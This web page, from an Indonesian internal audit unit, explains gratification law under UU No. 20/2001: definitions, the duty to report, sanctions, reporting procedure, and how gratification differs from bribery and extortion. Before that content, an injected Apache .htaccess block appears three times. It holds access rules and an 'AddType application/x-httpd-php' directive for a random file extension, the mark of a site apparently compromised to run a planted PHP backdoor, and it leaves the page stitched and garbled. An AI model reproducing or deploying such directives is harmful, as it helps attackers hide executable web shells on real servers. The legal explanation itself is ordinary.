# .htaccess diganti otomatis Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Allow,Deny Deny from all Order Deny,Allow Allow from all Order Deny,Allow Allow from all Order Deny,Allow Allow from all Order allow,deny Allow from all AddType Application/x-httpd-php .Affjfkkfkfg# .htaccess diganti otomatis Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Allow,Deny Deny from all Order Deny,Allow Allow from all Order Deny,Allow Allow from all Order Deny,Allow Allow from all Order allow,deny Allow from all AddType Application/x-httpd-php .Affjfkkfkfg# .htaccess diganti otomatis Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Allow,Deny Deny from all Order Deny,Allow Allow from all Order Deny,Allow Allow from all Order Deny,Allow Allow from all Order allow,deny Allow from all AddType Application/x-httpd-php .Affjfkkfkfg Gratifikasi - Satuan Pengawas Internal

Gratifikasi

Dasar Hukum Gratifikasi

Berdasarkan UU No. 20 Tahun 2001 Pasal 12b ayat (1), setiap gratifikasi kepada pegawai negeri atau penyelenggara negara dianggap suap apabila berhubungan dengan jabatannya dan yang berlawanan dengan kewajiban atau tugasnya, dengan ketentuan sebagai berikut: yang nilainya Rp10.000.000,- atau lebih, pembuktian bahwa gratifikasi tersebut bukan merupakan suap dilakukan oleh penerima gratifikasi (pembuktian terbalik); yang nilainya kurang dari Rp10.000.000,- juta, pembuktian bahwa gratifikasi tersebut bukan suap dilakukan oleh penuntut umum.

Peraturan KPK Nomor 2 Tahun 2014 dan 6 Tahun 2015: Pedoman Pelaporan dan Penetapan Status Gratifikasi. 

Gratifikasi yang berhubungan dengan jabatan atau kewenangan, dapat melanggar hukum dan etika, serta dapat dikenai sanksi pidana. 

 

Yang Dimaksud Gratifikasi

Menurut UU No. 20 tahun 2001, penjelasan pasal 12b ayat (1), gratifikasi adalah pemberian dalam arti luas, yakni meliputi pemberian uang, barang rabat (diskon), komisi, pinjaman tanpa bunga, tiket perjalanan, fasilitas penginapan, perjalanan wisata, pengobatan cuma-cuma, dan fasilitas lainnya. Gratifikasi tersebut baik diterima di dalam negeri maupun di luar negeri, dan dilakukan dengan menggunakan sarana elektronik ataupun tanpa sarana elektronik.

Gratifikasi Perlu di Laporkan

Korupsi sering kali berawal dari kebiasaan yang tidak disadari oleh setiap pegawai negeri dan pejabat penyelenggara negara, misalnya penerimaan hadiah oleh pejabat penyelenggara/pegawai negeri dan keluarganya dalam suatu acara pribadi, atau menerima pemberian suatu fasilitas tertentu yang tidak wajar. Hal semacam ini semakin lama akan menjadi kebiasaan yang cepat atau lambat akan memengaruhi pengambilan keputusan oleh pegawai negeri atau pejabat penyelenggara negara yang bersangkutan. Banyak orang berpendapat bahwa pemberian tersebut sekadar tanda terima kasih dan sah-sah saja. Namun, perlu disadari bahwa pemberian tersebut selalu terkait dengan jabatan yang dipangku oleh penerima serta kemungkinan adanya kepentingan-kepentingan dari pemberi, dan pada saatnya pejabat penerima akan berbuat sesuatu untuk kepentingan pemberi sebagai balas jasa. 

Terdapat Sanksi Jika Tidak Melaporkan Gratifikasi

Ya, pidana bagi pegawai negeri atau penyelenggara negara sebagaimana dimaksud dalam UU No. 20 Tahun 2001 Pasal 12b ayat (1) adalah: Pidana penjara seumur hidup dan pidana penjara paling singkat 4 (empat) tahun dan paling lama 20 (dua puluh) tahun, dan pidana denda paling sedikit Rp200.000.000,00 (dua ratus juta rupiah) dan paling banyak Rp1.000.000.000,00 (satu miliar rupiah).

 

Apakah Masih Tetap Ada Sanksi Jika Melaporkan Gratifikasi

Tidak, sebagaimana telah diatur dalam UU No. 20 Tahun 2001 Pasal 12C, sanksi atau ancaman tindak pidana sebagaimana dimaksud dalam Pasal 12b ayat (1) tidak berlaku jika pegawai negeri atau penyelenggara negara melaporkan tindakan gratifikasi kepada UPG Satker- Kemenkes atau KPK RI.

Tata Cara Melaporkan Gratifikasi

Pelaporan gratifikasi disampaikan melalui Aplikasi Gratifikasi Online. Apabila di tempat Pelapor Gratifikasi tidak tersedia layanan internet, maka laporan gratifikasi dapat disampaikan kepada UPG di unit kerja Pelapor atau dengan menggunakan layanan kurir/pos kepada UPG Kemenkes. gratifikasi wajib dilaporkan kepada UPG Kementerian paling lambat 30 hari kerja sejak terjadinya peristiwa gratifikasi tersebut.

Perbedaan Antara Suap,Pungutan Liar (Pungli)/Pemerasan Bukanlah Gratifikasi

Suap dan pungli/pemerasan bukanlah gratifikasi.

1.    Suap terjadi apabila pengguna jasa secara aktif menawarkan imbalan kepada petugas layanan dengan maksud agar tujuannya lebih cepat tercapai, walau melanggar prosedur.

2.    Pemerasan terjadi apabila petugas layanan secara aktif menawarkan jasa atau meminta imbalan kepada pengguna layanan dengan maksud agar dapat membantu mempercepat tercapainya tujuan si pengguna jasa, walau melanggar prosedur. 

3.    Gratifikasi terjadi apabila pihak pengguna layanan memberikan sesuatu kepada pemberi layanan tanpa adanya penawaran, transaksi atau deal untuk mencapai tujuan tertentu yang diinginkan. Biasanya hanya memberikan tanpa ada maksud apapun.

Dalam kasus suap dan pemerasan, terdapat kata kunci, yaitu adanya transaksi atau deal di antara kedua belah pihak sebelum kasus terjadi, sedangkan dalam kasus gratifikasi tidak ada.

Gratifikasi lebih sering dimaksudkan agar pihak petugas layanan dapat tersentuh hatinya, agar di kemudian hari dapat mempermudah tujuan pihak pengguna jasa, namun hal tersebut tidak diungkapkan pada saat pemberian terjadi. Istilah ini dapat disebut dengan “tanam budi” si pengguna jasa kepada pemberi layanan.

Tujuan  yang mendasari tindakan gratifikasi:

a.    Dapat Perlakuan Istimewa:

Penerima gratifikasi mungkin berharap mendapatkan pelayanan yang lebih cepat, mudah, atau menguntungkan dalam urusan tertentu. 

b.      Mempengaruhi Keputusan:

Gratifikasi bisa bertujuan untuk mempengaruhi keputusan atau kebijakan yang diambil oleh penerima gratifikasi, terutama jika terkait dengan jabatan atau kewenangannya. 

c.       Memperoleh Keuntungan Pribadi:

Gratifikasi bisa menjadi cara untuk mendapatkan keuntungan pribadi, baik secara finansial maupun non-finansial, melalui penyalahgunaan jabatan atau kewenangan. 

d.      Menjalin Hubungan Baik (Tanam Budi):

Gratifikasi juga bisa dianggap sebagai “tanam budi” untuk membangun hubungan baik dengan pejabat atau penyelenggara negara, dengan harapan mendapatkan bantuan atau dukungan di masa depan.